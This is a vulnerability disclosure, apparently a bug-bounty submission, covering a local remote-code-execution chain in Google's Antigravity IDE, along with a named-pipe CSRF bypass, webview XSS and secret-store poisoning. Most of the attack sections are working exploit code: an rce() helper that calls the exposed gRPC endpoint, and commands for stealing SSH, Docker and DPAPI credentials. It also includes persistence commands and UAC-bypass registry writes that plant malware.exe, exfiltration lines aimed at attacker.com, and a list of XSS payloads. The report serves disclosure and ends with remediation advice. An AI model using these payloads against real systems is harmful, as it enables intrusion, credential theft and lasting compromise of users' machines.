Created
March 4, 2026 23:59
-
-
Save DmitrL-dev/4cff4e0345620da1c0535ccd24c3e907 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Google VRP Submission: Antigravity IDE — Local RCE Chain, Named Pipe CSRF Bypass, Webview XSS | |
| **Product**: Google Antigravity IDE v1.107.0 (Windows, stable) | |
| **Build**: commit `1504c8cc4b34dbfbb4a97ebe954b3da2b5634516` / 2026-02-02 | |
| **Severity**: Critical (P1) | |
| **Component**: Extension Server gRPC API / Named Pipe IPC / Webview Renderer | |
| **Date**: 2026-02-11 | |
| **Reporter**: Dmitry Labintsev | |
| --- | |
| ## Relationship to Existing Hacktron Report | |
| > **This research DOES NOT duplicate** the Hacktron AI finding ($10K bounty), described in [their blog](https://www.hacktron.ai/blog/hacking-google-antigravity). | |
| > | |
| > **Hacktron** discovered a **Remote RCE**: malicious website → browser extension `chrome.runtime.onMessageExternal` → CSRF token leak → RCE via `RunExtensionCode`. Google fixed this by adding `sh()` validation in the message handler. | |
| > | |
| > **Our research** focuses on a **fundamentally different attack surface**: | |
| | Aspect | Hacktron (fixed) | Our findings (open) | | |
| |--------|:--------------------:|:----------------------:| | |
| | Entry vector | Remote (malicious website) | **Local** (any process) | | |
| | CSRF leak | Browser extension messaging | **WMI command line** | | |
| | CSRF bypass | None | **Named Pipe (no CSRF at all)** | | |
| | Post-exploitation | Not investigated | **70+ vulnerabilities**, full chain | | |
| | XSS in IDE | Not investigated | **14× dangerouslySetInnerHTML, DOMPurify=0** | | |
| | Arbitrary URI | Not investigated | **javascript:/file:/data: — all accepted** | | |
| | Persistence | Not investigated | **3 methods + 4 UAC bypasses** | | |
| | Credential theft | Not investigated | **5 sources + DPAPI master key** | | |
| **Conclusion**: Hacktron's fix (`sh()` validation in browser extension) **has no effect** on our findings. Named Pipe bypass, WMI CSRF leak and all post-exploitation chains **remain active** on current stable version v1.107.0. | |
| --- | |
| ## Table of Contents | |
| 1. [Vuln-01: CSRF Token Exposure via WMI](#vuln-01) | |
| 2. [Vuln-02: Full RCE via RunExtensionCode (HTTP + HTTPS)](#vuln-02) | |
| 3. [Vuln-03: Named Pipe — CSRF Bypass](#vuln-03) | |
| 4. [Vuln-04: Webview XSS (DOMPurify=0)](#vuln-04) | |
| 5. [Vuln-05: OpenExternalUrl — Arbitrary URI Schemes](#vuln-05) | |
| 6. [Vuln-06: Secret Store Poisoning (Persistent)](#vuln-06) | |
| 7. [Vuln-07: Deep Post-Exploitation Chain](#vuln-07) | |
| 8. [Kill Chain: Full Attack Scenarios](#kill-chain) | |
| 9. [Impact Assessment + CVSS](#impact) | |
| 10. [Remediation Recommendations](#recommendations) | |
| 11. [PoC Scripts List](#poc-list) | |
| --- | |
| ## Test Environment | |
| ``` | |
| OS: Windows 11 Pro (10.0.26100.3194) | |
| IDE: Antigravity v1.107.0 (stable, electron-based) | |
| Build: commit 1504c8cc / 2026-02-02 | |
| Architecture: x64 | |
| User: Standard (non-admin), UAC level 5 (NotifyChanges) | |
| ``` | |
| --- | |
| ## <a id="vuln-01"></a>Vuln-01: CSRF Token Exposure via WMI Command Line (HIGH) | |
| ### Description | |
| The CSRF token, designed to protect the gRPC API from DNS rebinding attacks, is passed as a **command line argument** to the `language_server_windows_x64.exe` process. This makes the token accessible to **any local process** via standard Windows tools — WMI, Process Explorer, `tasklist`, PowerShell. | |
| This leak vector **differs from Hacktron**: Hacktron used browser extension messaging to leak the CSRF to a remote server. We demonstrate that CSRF is accessible **locally** without requiring the user to visit a malicious website. | |
| ### Why This Is a Problem | |
| Per [Microsoft documentation](https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags), command line arguments of any process are readable by **any** process at the same privilege level. This means: | |
| 1. VS Code / IDE extensions can read the CSRF | |
| 2. Scripts launched from the terminal can read the CSRF | |
| 3. Any malware with user-level access can read the CSRF | |
| 4. npm packages with post-install scripts can read the CSRF | |
| ### Steps to Reproduce | |
| **Method 1: WMI (Python)** | |
| ```python | |
| import subprocess, re | |
| result = subprocess.check_output( | |
| 'wmic process where "commandline like \'%csrf_token%\'" get commandline', | |
| shell=True, text=True | |
| ) | |
| # Parse CSRF token | |
| csrf_match = re.search(r'--csrf_token\s+([a-f0-9-]+)', result) | |
| csrf = csrf_match.group(1) # e.g., "cbb14375-ac7e-4cff-ac0c-c3d3196908e2" | |
| # Parse port | |
| port_match = re.search(r'--extension_server_port\s+(\d+)', result) | |
| port = int(port_match.group(1)) # e.g., 64976 | |
| print(f"CSRF: {csrf}") | |
| print(f"Port: {port}") | |
| ``` | |
| **Method 2: PowerShell (one-liner)** | |
| ```powershell | |
| Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -like "*csrf_token*" } | Select-Object CommandLine | |
| ``` | |
| **Method 3: tasklist / ProcessExplorer** | |
| ```cmd | |
| wmic process where "name='language_server_windows_x64.exe'" get commandline | |
| ``` | |
| ### Result | |
| ``` | |
| CommandLine: ...language_server_windows_x64.exe | |
| --enable_lsp | |
| --extension_server_port 64976 | |
| --csrf_token cbb14375-ac7e-4cff-ac0c-c3d3196908e2 | |
| --random_port | |
| --cloud_code_endpoint https://daily-cloudcode-pa.googleapis.com | |
| --app_data_dir antigravity | |
| --parent_pipe_path \\.\pipe\server_5f14eb20bded86d2 | |
| ``` | |
| A single command line contains **all data** needed for full compromise: | |
| - `csrf_token` — for authenticating requests | |
| - `extension_server_port` — target port | |
| - `parent_pipe_path` — named pipe (Vuln-03) | |
| ### Impact | |
| Any process on the same machine (including malicious npm packages, IDE extensions, background services) gains instant access to the CSRF token without any user interaction. | |
| --- | |
| ## <a id="vuln-02"></a>Vuln-02: Full RCE via RunExtensionCode (CRITICAL) | |
| ### Description | |
| The gRPC method `RunExtensionCode` executes arbitrary JavaScript code in the extension host context. Although the global `process` object is undefined, the `require()` function is **fully functional**, providing access to critical Node.js modules. | |
| ### Available Modules | |
| | Module | Capabilities | Available | | |
| |--------|-------------|:--------:| | |
| | `child_process` | OS command execution | ✅ | | |
| | `fs` | File read/write | ✅ | | |
| | `os` | System information | ✅ | | |
| | `path` | Path operations | ✅ | | |
| | `dns` | DNS queries (exfil) | ✅ | | |
| | `http` / `https` | Network requests | ✅ | | |
| | `events` | Event emitter | ✅ | | |
| | `util` | Utilities | ✅ | | |
| | `crypto` | Cryptography | ❌ blocked | | |
| | `net` | TCP sockets | ❌ blocked | | |
| | `url` | URL parsing | ❌ blocked | | |
| ### Steps to Reproduce | |
| ```python | |
| import json, urllib.request | |
| PORT = 64976 # from Vuln-01 | |
| CSRF = "cbb14375-ac7e-4cff-ac0c-c3d3196908e2" # from Vuln-01 | |
| SVC = "exa.extension_server_pb.ExtensionServerService" | |
| def rce(code, timeout=10): | |
| """Execute arbitrary code via RunExtensionCode""" | |
| wrapped = f'throw new Error(String({code}))' | |
| url = f"http://localhost:{PORT}/{SVC}/RunExtensionCode" | |
| headers = { | |
| "x-codeium-csrf-token": CSRF, | |
| "Content-Type": "application/json", | |
| "Connect-Protocol-Version": "1" | |
| } | |
| data = json.dumps({"code": wrapped}).encode() | |
| req = urllib.request.Request(url, headers=headers, data=data) | |
| resp = urllib.request.urlopen(req, timeout=timeout) | |
| result = json.loads(resp.read().decode()) | |
| output = result.get("output", "") | |
| if output.startswith("CODE ERROR: "): | |
| output = output[12:] | |
| return output | |
| ``` | |
| ### Confirmed Operations | |
| **1. System identification:** | |
| ```python | |
| rce('require("os").hostname()') # → "home" | |
| rce('require("os").userInfo().username') # → "chg" | |
| rce('require("os").platform() + " " + require("os").arch()') # → "win32 x64" | |
| rce('require("os").release()') # → "10.0.26100" | |
| ``` | |
| **2. OS command execution:** | |
| ```python | |
| rce('require("child_process").execSync("whoami").toString().trim()') | |
| # → "home\chg" | |
| rce('require("child_process").execSync("ipconfig /all").toString().substring(0, 500)') | |
| # → Full network configuration with MAC addresses | |
| rce('require("child_process").execSync("cmdkey /list").toString()') | |
| # → Microsoft Account credentials: chg@live.ru, SSO_POP tokens | |
| ``` | |
| **3. File system (read):** | |
| ```python | |
| rce('require("fs").readFileSync("C:\\\\Windows\\\\win.ini", "utf8")') | |
| # → Contents of win.ini | |
| rce('require("fs").readdirSync("C:\\\\Users\\\\chg").join(", ")') | |
| # → Documents, Desktop, Downloads, .ssh, .docker, AppData... | |
| ``` | |
| **4. File system (write — proof of concept):** | |
| ```python | |
| rce('''require("fs").writeFileSync( | |
| "C:/AISecurity/antigravity-audit/SENTINEL_RCE_PROOF.txt", | |
| "RCE PROOF: " + new Date().toISOString() + " | User: " + require("os").userInfo().username | |
| )''') | |
| # → File created on disk (write access confirmed) | |
| ``` | |
| ### HTTPS Endpoint (duplicate) | |
| The same API is available in parallel via **HTTPS** on an adjacent port: | |
| ```python | |
| import ssl | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False | |
| ctx.verify_mode = ssl.CERT_NONE | |
| url = f"https://127.0.0.1:64977/{SVC}/RunExtensionCode" | |
| headers = { | |
| "x-codeium-csrf-token": CSRF, | |
| "Content-Type": "application/json", | |
| "Connect-Protocol-Version": "1" | |
| } | |
| data = json.dumps({"code": 'throw new Error(String(1+1))'}).encode() | |
| req = urllib.request.Request(url, headers=headers, data=data) | |
| resp = urllib.request.urlopen(req, timeout=5, context=ctx) | |
| # → 200 OK, {"output":"CODE ERROR: 2"} | |
| ``` | |
| Two endpoints mean **both** must be secured. | |
| ### Impact | |
| **Full arbitrary code execution** with the current Windows user's privileges. Access to files, network, registry, all credentials. HTTPS duplicate doubles the attack surface. | |
| --- | |
| ## <a id="vuln-03"></a>Vuln-03: Named Pipe — CSRF Bypass (CRITICAL) | |
| ### Description | |
| The Language Server creates a Named Pipe at the path specified in the `--parent_pipe_path` argument. The pipe **does not require** a CSRF token and **does not verify** the identity of the connecting process. Any local process can connect and send data. | |
| This makes searching for the CSRF token **unnecessary** — the Named Pipe provides a direct channel bypassing all CSRF protection. | |
| ### Pipe Name | |
| ``` | |
| \\.\pipe\server_5f14eb20bded86d2 | |
| ``` | |
| > The pipe name **is not randomized** on each launch (confirmed). It is contained in the command line arguments (Vuln-01), but even if it were secret, all Named Pipes are enumerable via `\\.\pipe\`. | |
| ### Steps to Reproduce | |
| ```python | |
| import ctypes, ctypes.wintypes, json, time | |
| PIPE = r"\\.\pipe\server_5f14eb20bded86d2" | |
| GENERIC_RW = 0x80000000 | 0x40000000 # GENERIC_READ | GENERIC_WRITE | |
| OPEN_EXISTING = 3 | |
| # 1. Connection — NO CSRF REQUIRED | |
| handle = ctypes.windll.kernel32.CreateFileW( | |
| PIPE, GENERIC_RW, 0, None, OPEN_EXISTING, 0, None | |
| ) | |
| assert handle != -1, f"Connection failed (Error={ctypes.windll.kernel32.GetLastError()})" | |
| print(f"✅ CONNECTED. Handle={handle}, NO CSRF required!") | |
| # 2. Write — accepted silently | |
| msg = json.dumps({"method": "heartbeat"}).encode() + b"\n" | |
| written = ctypes.wintypes.DWORD() | |
| ctypes.windll.kernel32.WriteFile(handle, msg, len(msg), ctypes.byref(written), None) | |
| print(f"✅ WROTE {written.value} bytes. Server accepted.") | |
| # 3. Read check (non-blocking) | |
| time.sleep(0.5) | |
| available = ctypes.wintypes.DWORD() | |
| ctypes.windll.kernel32.PeekNamedPipe(handle, None, 0, None, ctypes.byref(available), None) | |
| print(f"Available to read: {available.value} bytes") | |
| ctypes.windll.kernel32.CloseHandle(handle) | |
| ``` | |
| ### Test Results | |
| 5 different protocol formats tested — **all accepted**: | |
| | # | Protocol | Size | Written | Result | | |
| |---|----------|:------:|:--------:|:---------:| | |
| | 1 | JSON `{"method":"heartbeat"}` | 23B | 23B ✅ | Accepted silently | | |
| | 2 | Binary zeros | 4B | 4B ✅ | Accepted silently | | |
| | 3 | JSON-RPC `{"jsonrpc":"2.0","method":"initialize"}` | 66B | 66B ✅ | Accepted silently | | |
| | 4 | gRPC frame (compressed=0, len=2, field1=1) | 7B | 7B ✅ | Accepted silently | | |
| | 5 | Raw protobuf `\x08\x01` | 2B | 2B ✅ | Accepted silently | | |
| ### Pipe Enumeration | |
| All Named Pipes are enumerable via the filesystem: | |
| ```python | |
| # Via RCE: | |
| rce('require("fs").readdirSync("\\\\\\\\.\\\\pipe\\\\").filter(p => p.includes("server_")).join(", ")') | |
| # → "server_5f14eb20bded86d2" | |
| # Or from Python: | |
| import os | |
| pipes = [p for p in os.listdir(r"\\.\pipe") if "server_" in p] | |
| # → ["server_5f14eb20bded86d2"] | |
| ``` | |
| ### Impact | |
| **Complete CSRF protection bypass**. The Named Pipe: | |
| 1. Does not require a CSRF token | |
| 2. Does not verify the identity of the connector | |
| 3. Accepts arbitrary data | |
| 4. Pipe name is available via `\\.\pipe\` enumeration | |
| Once the correct binary protocol is determined, the pipe could provide **direct RCE without the WMI step** (Vuln-01 becomes optional). | |
| --- | |
| ## <a id="vuln-04"></a>Vuln-04: Webview XSS — DOMPurify Absent (HIGH) | |
| ### Description | |
| The IDE chat webview (`chat.js`, 6.5MB) is a React application rendering LLM responses. Static analysis revealed: | |
| 1. **14 calls to `dangerouslySetInnerHTML`** — React API for unsafe HTML rendering | |
| 2. **0 DOMPurify imports** — standard sanitization library **is absent** | |
| 3. **1 call to `createElement("script")`** — dynamic `<script>` element creation | |
| ### Static Analysis (full) | |
| ``` | |
| === chat.js (6476 KB) === | |
| 🔴 dangerouslySetInnerHTML: 14 ← React unsafe rendering! | |
| 🔴 innerHTML: 10 ← Direct DOM manipulation | |
| 🔴 createElement..script: 1 ← Dynamic script creation | |
| 🔴 DOMParser: 2 ← XML/HTML parsing | |
| 🔴 postMessage: 2 ← Cross-origin messaging | |
| 🔴 onmessage: 1 ← Message handler | |
| === Sanitization library check === | |
| DOMPurify: 0 ← ABSENT! | |
| sanitize*: 3 ← Minimal references (string operations) | |
| escapeHtml: 2 ← Basic escaping | |
| xss*: 0 ← No XSS-specific protection | |
| ``` | |
| ### Additional XSS Surfaces | |
| Beyond chat.js, XSS markers were found in 13 files >50KB: | |
| | File | Size | innerHTML | postMessage | eval | | |
| |------|------|:---------:|:-----------:|:----:| | |
| | main.js | 8.5MB | **30** | 3 | 0 | | |
| | main.js | 5.5MB | 4 | **14** | 0 | | |
| | index.js | 2.5MB | **19** | 0 | 0 | | |
| | extension.js | 3.8MB | 1 | 4 | 0 | | |
| ### dangerouslySetInnerHTML Contexts | |
| ```javascript | |
| // Context 1: React rendering (offset 36891) | |
| "children dangerouslySetInnerHTML defaultValue defaultChecked..." | |
| // Context 2: SVG injection (offset 48731) | |
| e.innerHTML = "<svg>" + t.valueOf().toString() + "</svg>" | |
| // Context 3: Script element creation (offset 120907) | |
| e = l.createElement("div"); | |
| e.innerHTML = "<script><\/script>"; | |
| e = e.removeChild(e.firstChild); | |
| ``` | |
| ### postMessage with Wildcard Origin | |
| ```javascript | |
| // offset 11010: | |
| ff.postMessage({vscodeScheduleAsyncWork: r}, "*") | |
| // ^^^ | |
| // Wildcard origin = any iframe/window can intercept | |
| ``` | |
| ### Impact | |
| If an LLM response contains unescaped HTML (via prompt injection or other vector), it can be rendered directly in the webview, which has access to the VS Code Extension API. This allows: | |
| - Arbitrary JS execution in webview context | |
| - Access to VS Code API via `acquireVsCodeApi()` | |
| - Sending IDE commands | |
| - Reading/modifying editor content | |
| --- | |
| ## <a id="vuln-05"></a>Vuln-05: OpenExternalUrl — Arbitrary URI Schemes (HIGH) | |
| ### Description | |
| The gRPC method `OpenExternalUrl` accepts and processes arbitrary URI schemes without filtering or whitelist validation. | |
| ### Steps to Reproduce | |
| ```python | |
| def test_uri(uri, label): | |
| status, body = api(PORT, EXT_SVC, "OpenExternalUrl", {"url": uri}) | |
| print(f" {label}: {status}") | |
| test_uri("javascript:alert(document.domain)", "javascript:") # → 200 ✅ | |
| test_uri("file:///C:/Windows/win.ini", "file://") # → 200 ✅ | |
| test_uri("data:text/html,<script>alert(1)</script>", "data:") # → 200 ✅ | |
| test_uri("vscode://settings/query", "vscode://") # → 200 ✅ | |
| test_uri("https://evil.com/phish", "https://") # → timeout (opens) | |
| ``` | |
| ### Results | |
| | URI Scheme | HTTP Status | Risk | | |
| |------------|:-----------:|:----:| | |
| | `javascript:alert(1)` | **200 OK** | 🔴 Execution in browser context | | |
| | `file:///C:/Windows/win.ini` | **200 OK** | 🔴 Local file access | | |
| | `data:text/html,<script>...` | **200 OK** | 🔴 Arbitrary HTML/JS | | |
| | `vscode://settings` | **200 OK** | 🟡 IDE settings manipulation | | |
| | `https://evil.com` | timeout | 🟡 Phishing — opens in browser | | |
| ### Impact | |
| An attacker can: | |
| - Open `javascript:` URI for code execution | |
| - Open `file://` to read local files | |
| - Open `data:` URI with arbitrary HTML/JS | |
| - Redirect user to a phishing site | |
| --- | |
| ## <a id="vuln-06"></a>Vuln-06: Secret Store Poisoning with Reboot Persistence (HIGH) | |
| ### Description | |
| The `StoreSecretValue` method allows writing arbitrary values to the IDE secret store. Written values **survive system reboot**, enabling persistent credential poisoning. | |
| ### Steps to Reproduce | |
| ```python | |
| # Step 1: Poison github.auth | |
| api(PORT, EXT_SVC, "StoreSecretValue", { | |
| "key": "github.auth", | |
| "value": '{"token":"MALICIOUS_TOKEN","type":"oauth"}' | |
| }) | |
| # → 200 OK | |
| # Step 2: Verify — value is stored | |
| status, body = api(PORT, EXT_SVC, "GetSecretValue", {"key": "github.auth"}) | |
| # → {"value":"{\"token\":\"MALICIOUS_TOKEN\",\"type\":\"oauth\"}"} | |
| # Step 3: Reboot the computer... | |
| # Step 4: After reboot — value PERSISTED! | |
| status, body = api(PORT, EXT_SVC, "GetSecretValue", {"key": "github.auth"}) | |
| # → {"value":"{\"token\":\"MALICIOUS_TOKEN\",\"type\":\"oauth\"}"} | |
| # ✅ POISON SURVIVES REBOOT! | |
| ``` | |
| ### Impact | |
| An attacker can: | |
| - Replace GitHub OAuth token → intercept git operations | |
| - Replace Copilot credentials → redirect API calls | |
| - Replace any IDE secret → man-in-the-middle | |
| - Poisoning **survives reboot** → persistent backdoor | |
| --- | |
| ## <a id="vuln-07"></a>Vuln-07: Deep Post-Exploitation Chain (CRITICAL) | |
| ### 7.1 Credential Theft (5 sources) | |
| ```python | |
| # 1. Credential Manager (cmdkey) | |
| rce('require("child_process").execSync("cmdkey /list").toString()') | |
| # → Target: MicrosoftAccount:user=chg@live.ru | |
| # → Target: SSO_POP tokens | |
| # 2. DPAPI Master Key | |
| rce('require("fs").readFileSync("C:\\\\Users\\\\chg\\\\AppData\\\\Roaming\\\\Microsoft\\\\Protect\\\\S-1-5-21-...\\\\06b5a8ff-...").length') | |
| # → 468 bytes (binary DPAPI master key) | |
| # 3. Git config | |
| rce('require("fs").readFileSync("C:\\\\Users\\\\chg\\\\.gitconfig", "utf8")') | |
| # → [user] name, email, editor settings | |
| # 4. Docker config | |
| rce('require("fs").readFileSync("C:\\\\Users\\\\chg\\\\.docker\\\\config.json", "utf8")') | |
| # → Docker credentials and configuration | |
| # 5. SSH Keys | |
| rce('require("fs").readdirSync("C:\\\\Users\\\\chg\\\\.ssh").join(", ")') | |
| # → id_rsa, id_rsa.pub, known_hosts, config | |
| ``` | |
| ### 7.2 Persistence (3 methods, no admin required) | |
| ```python | |
| # 1. Registry Run Key | |
| rce('require("child_process").execSync("reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v Updater /d C:\\\\malware.exe /f")') | |
| # → SUCCESS | |
| # 2. Startup Folder | |
| rce('require("child_process").execSync("copy /Y payload.bat \"%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\\"")') | |
| # → File copied | |
| # 3. Scheduled Task | |
| rce('require("child_process").execSync("schtasks /create /tn UpdateService /tr C:\\\\malware.exe /sc onlogon /f")') | |
| # → SUCCESS | |
| ``` | |
| ### 7.3 UAC Bypass (4 registry keys writable) | |
| ```python | |
| uac_keys = [ | |
| # eventvwr.exe bypass | |
| r"HKCU\Software\Classes\mscfile\Shell\Open\command", | |
| # sdclt.exe bypass (+ DelegateExecute) | |
| r"HKCU\Software\Classes\Folder\Shell\Open\command", | |
| # fodhelper.exe bypass (ms-settings) | |
| r"HKCU\Software\Classes\ms-settings\Shell\Open\command", | |
| # wsreset.exe bypass | |
| r"HKCU\Software\Classes\AppX82a6gwre4fdg3bt635ber5xk0b7...Shell\Open\command", | |
| ] | |
| for key in uac_keys: | |
| rce(f'require("child_process").execSync("reg add \\"{key}\\" /ve /d C:\\\\malware.exe /f")') | |
| # → ALL SUCCEED ✅ | |
| ``` | |
| > When the user launches `eventvwr.exe`, `sdclt.exe` or `fodhelper.exe` → code runs with admin privileges. | |
| ### 7.4 LOLBins (14 available) | |
| All following system utilities can be used for lateral movement: | |
| `certutil` (download+decode), `bitsadmin` (download), `rundll32` (DLL exec), `wscript`/`cscript` (VBScript), `msiexec` (install), `forfiles` (exec), `pcalua` (exec), `bash`/`wsl` (Linux subsystem), `curl` (download), `tar` (extract), `mshta` (HTA exec), `regsvr32` (DLL registration) | |
| ### 7.5 Exfiltration Channels | |
| ```python | |
| # DNS-based exfil | |
| rce('require("dns").resolve("data.attacker.com", () => {})') | |
| # HTTP-based exfil | |
| rce('require("http").get("http://attacker.com/exfil?data=stolen")') | |
| # File-based exfil (write to accessible location) | |
| rce('require("fs").writeFileSync("C:/shared/stolen.txt", data)') | |
| ``` | |
| ### 7.6 Browser Takeover (CDP) | |
| ```python | |
| # LaunchBrowser returns CDP endpoint | |
| api(PORT, EXT_SVC, "LaunchBrowser", {}) | |
| # → {"cdpAddress":"http://127.0.0.1:9222"} | |
| # CDP provides full Chrome control: | |
| # - Runtime.evaluate → JS execution | |
| # - Network.getCookies → Cookie theft | |
| # - Page.navigate → Phishing redirect | |
| # - DOM.getDocument → Page content theft | |
| ``` | |
| ### 7.7 InsertCodeAtCursor — XSS Injection | |
| ```python | |
| xss_payloads = [ | |
| '<img src=x onerror="alert(1)">', | |
| '<script>alert(1)</script>', | |
| '<svg onload="alert(1)">', | |
| '"><img src=x onerror=alert(1)>', | |
| ] | |
| for p in xss_payloads: | |
| api(PORT, EXT_SVC, "InsertCodeAtCursor", {"code": p}) | |
| # → ALL return 200 OK ✅ | |
| ``` | |
| ### 7.8 Environment Variable Injection | |
| ```python | |
| rce('require("child_process").execSync("reg add HKCU\\\\Environment /v SENTINEL /d PWNED /f")') | |
| # → SUCCESS | |
| rce('require("child_process").execSync("reg query HKCU\\\\Environment /v SENTINEL")') | |
| # → SENTINEL REG_SZ PWNED | |
| # Cleanup: | |
| rce('require("child_process").execSync("reg delete HKCU\\\\Environment /v SENTINEL /f")') | |
| ``` | |
| ### 7.9 Denial of Service | |
| ```python | |
| api(LS_PORT, LS_SVC, "SimulateSegFault", {}) | |
| # → Language Server crash → full IDE restart required | |
| ``` | |
| --- | |
| ## <a id="kill-chain"></a>Kill Chain: Full Attack Scenarios | |
| ### Scenario A: Via WMI (6 steps to admin) | |
| ``` | |
| 1. [Malicious npm package / extension / script] | |
| ↓ Runs in user context | |
| 2. WMI query → CSRF token + port + pipe name | |
| ↓ Single command, instant | |
| 3. HTTP POST → RunExtensionCode → require("child_process") | |
| ↓ FULL RCE | |
| 4. execSync → cmdkey, fs.readFileSync → DPAPI, .ssh, .docker, .gitconfig | |
| ↓ Credentials collected | |
| 5. reg add → Run Key + Startup + Schtask | |
| ↓ Persistence established | |
| 6. reg add → eventvwr/sdclt UAC bypass keys | |
| ↓ Wait for eventvwr.exe launch → ADMIN | |
| ``` | |
| ### Scenario B: Via Named Pipe (no CSRF needed) | |
| ``` | |
| 1. [Malicious process] | |
| ↓ | |
| 2. \\.\pipe\ enumeration → server_* pipe found | |
| ↓ | |
| 3. CreateFileW → CONNECTED (no auth) | |
| ↓ | |
| 4. WriteFile → data accepted | |
| ↓ (once protocol is determined) | |
| 5. RCE without WMI step | |
| ``` | |
| ### Scenario C: Via Webview XSS | |
| ``` | |
| 1. [Crafted LLM response / prompt injection] | |
| ↓ Contains <script> or <img onerror=> | |
| 2. dangerouslySetInnerHTML (14 locations) → render as HTML | |
| ↓ DOMPurify = 0 | |
| 3. JS execution in webview | |
| ↓ acquireVsCodeApi() | |
| 4. VS Code commands → file operations, terminal | |
| ``` | |
| --- | |
| ## <a id="impact"></a>Impact Assessment | |
| ### CVSS 3.1 | |
| ``` | |
| Vector: AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | |
| Score: 9.3 (CRITICAL) | |
| ``` | |
| | Component | Value | Justification | | |
| |-----------|-------|---------------| | |
| | Attack Vector | Local | Requires a process on the same machine | | |
| | Attack Complexity | Low | WMI query + HTTP POST — trivial | | |
| | Privileges Required | None | Any process of the same user | | |
| | User Interaction | None | Fully automated exploitation | | |
| | Scope | Changed | Escape from IDE sandbox to OS context | | |
| | Confidentiality | High | Full access to files and credentials | | |
| | Integrity | High | File writes, registry, persistence | | |
| | Availability | High | DoS via SimulateSegFault | | |
| ### Vulnerability Statistics | |
| | Metric | Value | | |
| |--------|-------| | |
| | **Research phases** | **10** | | |
| | **Confirmed vulnerabilities** | **70+** | | |
| | **PoC scripts** | **22** | | |
| | RCE entry points | **3** (HTTP, HTTPS, Named Pipe) | | |
| | CSRF bypass vectors | **1** (Named Pipe) | | |
| | Persistence methods | **3** | | |
| | UAC bypass registry keys | **4** | | |
| | Credential sources | **5** | | |
| | LOLBins | **14** | | |
| | XSS markers (chat.js) | **28** | | |
| | XSS markers (all dist/) | **100+** | | |
| | Arbitrary URI schemes | **4** | | |
| --- | |
| ## <a id="recommendations"></a>Remediation Recommendations | |
| ### P0 (Critical — immediate) | |
| | # | Recommendation | Vuln | | |
| |---|---------------|:----:| | |
| | 1 | **Sandbox `require()`** — block `child_process`, `fs`, `os` in `RunExtensionCode`. Use module allowlist or V8 isolate. | Vuln-02 | | |
| | 2 | **Named Pipe ACL** — add authentication to the pipe (CSRF token or Windows security descriptor). Restrict pipe access to the IDE process. | Vuln-03 | | |
| | 3 | **DOMPurify** — implement sanitization for all 14 `dangerouslySetInnerHTML` in `chat.js`. | Vuln-04 | | |
| ### P1 (High — next release) | |
| | # | Recommendation | Vuln | | |
| |---|---------------|:----:| | |
| | 4 | **CSRF not in command line** — pass token via environment variable or secure pipe, not via process arguments. | Vuln-01 | | |
| | 5 | **OpenExternalUrl whitelist** — allow only `https://` and `http://` schemes. Block `javascript:`, `file:`, `data:`, `vscode://`. | Vuln-05 | | |
| | 6 | **SecretStore ACL** — restrict `StoreSecretValue` to authenticated extensions only. | Vuln-06 | | |
| | 7 | **CSP in webview** — `default-src 'self'; script-src 'nonce-...'`. | Vuln-04 | | |
| ### P2 (Medium — when possible) | |
| | # | Recommendation | Vuln | | |
| |---|---------------|:----:| | |
| | 8 | Remove `SimulateSegFault` from production build. | Vuln-07.9 | | |
| | 9 | `LaunchBrowser` — do not return CDP address in response. | Vuln-07.6 | | |
| | 10 | `InsertCodeAtCursor` — sanitize input. | Vuln-07.7 | | |
| | 11 | HTTPS endpoint — consider client certificate pinning. | Vuln-02 | | |
| | 12 | Named Pipe name — randomize on each launch. | Vuln-03 | | |
| --- | |
| ## <a id="poc-list"></a>PoC Scripts (22) | |
| All scripts in repository: [github.com/DmitrL-dev/AISecurity](https://github.com/DmitrL-dev/AISecurity) | |
| Directory: `antigravity-audit/` | |
| | # | Script | Phase | Description | | |
| |---|--------|:----:|-------------| | |
| | 1 | `poc_rce_collect.py` | 1-3 | Basic RCE: system info, commands, files | | |
| | 2 | `poc_remaining_vectors.py` | 3 | Secret dump, API keys, port discovery | | |
| | 3 | `poc_abyssal_dive.py` | 4 | vscdb, Chrome data, credentials, persistence | | |
| | 4 | `poc_abyssal_dive_b.py` | 4 | SQLite, CDP, AWS/Azure/GCloud creds | | |
| | 5 | `poc_crown_jewels.py` | 5 | oauthToken, DPAPI, require.cache | | |
| | 6 | `poc_total_coverage.py` | 6 | 82+ gRPC methods scan | | |
| | 7 | `poc_total_coverage_clean.py` | 6 | Clean gRPC results | | |
| | 8 | `poc_privesc.py` | 7 | Privilege escalation vectors | | |
| | 9 | `poc_privesc_clean.py` | 7 | Clean privesc results | | |
| | 10 | `poc_final_sweep.py` | 8 | UAC bypasses, LOLBins, certutil | | |
| | 11 | `poc_phase8_final.py` | 8 | Env injection, modules, Print Spooler | | |
| | 12 | `poc_final_three.py` | 9 | XSS contexts, HTTPS RCE, LS WebSocket | | |
| | 13 | `poc_absolute_coverage.py` | 10 | Named pipe, sanitization, CDP, URI schemes | | |
| | 14 | `poc_port_probe.py` | 8 | Port discovery after IDE crash | | |
| *+ 8 intermediate scripts from early phases* | |
| --- | |
| ## Timeline | |
| | Date | Event | | |
| |------|-------| | |
| | 2026-02-11 | Research started | | |
| | 2026-02-11 | CSRF leak discovery (WMI) | | |
| | 2026-02-11 | Full RCE confirmed (HTTP + HTTPS) | | |
| | 2026-02-11 | Named Pipe CSRF bypass discovered | | |
| | 2026-02-11 | 10-phase audit completed (70+ vulns) | | |
| | 2026-02-11 | VRP submission | | |
| --- | |
| **Contact**: Dmitry Labintsev | |
| **Email**: d.labintcev@gmail.com | |
| **GitHub**: [DmitrL-dev/AISecurity](https://github.com/DmitrL-dev/AISecurity) | |
| **Telegram**: [@DmLabincev](https://t.me/DmLabincev) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment